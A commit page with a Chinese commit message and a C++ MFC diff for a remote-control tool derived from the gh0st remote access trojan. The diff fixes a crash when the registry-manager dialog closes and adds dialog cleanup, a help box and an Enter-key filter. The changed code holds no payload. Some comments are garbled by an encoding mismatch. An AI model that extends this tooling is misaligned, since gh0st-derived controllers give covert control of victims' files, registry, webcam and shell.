修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -27,6 +27,7 @@
|
||||
#define UM_ICONNOTIFY WM_USER+100
|
||||
|
||||
std::vector<CFileManagerDlg *> v_FileDlg;
|
||||
std::vector<CRegisterDlg *> v_RegDlg;
|
||||
|
||||
enum
|
||||
{
|
||||
@@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
|
||||
|
||||
CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
{
|
||||
Sleep(200);
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
||||
iter != v_FileDlg.end(); ++iter)
|
||||
@@ -138,6 +140,15 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
Sleep(1);
|
||||
delete cur;
|
||||
}
|
||||
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
|
||||
iter != v_RegDlg.end(); ++iter)
|
||||
{
|
||||
CRegisterDlg *cur = *iter;
|
||||
::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0);
|
||||
while (false == cur->m_bIsClosed)
|
||||
Sleep(1);
|
||||
delete cur;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -187,6 +198,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
|
||||
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
|
||||
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
|
||||
ON_WM_HELPINFO()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -1088,7 +1100,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
case FILEMANAGER_DLG:
|
||||
{
|
||||
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
|
||||
delete Dlg;
|
||||
::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
|
||||
//delete Dlg; <20><><EFBFBD><EFBFBD><E2B4A6>
|
||||
break;
|
||||
}
|
||||
case REGISTER_DLG:
|
||||
@@ -1243,6 +1256,21 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
ContextObject->v1 = REGISTER_DLG;
|
||||
ContextObject->hDlg = Dlg;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
|
||||
iter != v_RegDlg.end(); )
|
||||
{
|
||||
CRegisterDlg *cur = *iter;
|
||||
if (cur->m_bIsClosed)
|
||||
{
|
||||
delete cur;
|
||||
iter = v_RegDlg.erase(iter);
|
||||
}else{
|
||||
++iter;
|
||||
}
|
||||
}
|
||||
v_RegDlg.push_back(Dlg);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1262,3 +1290,21 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
||||
{
|
||||
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return CDialogEx::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user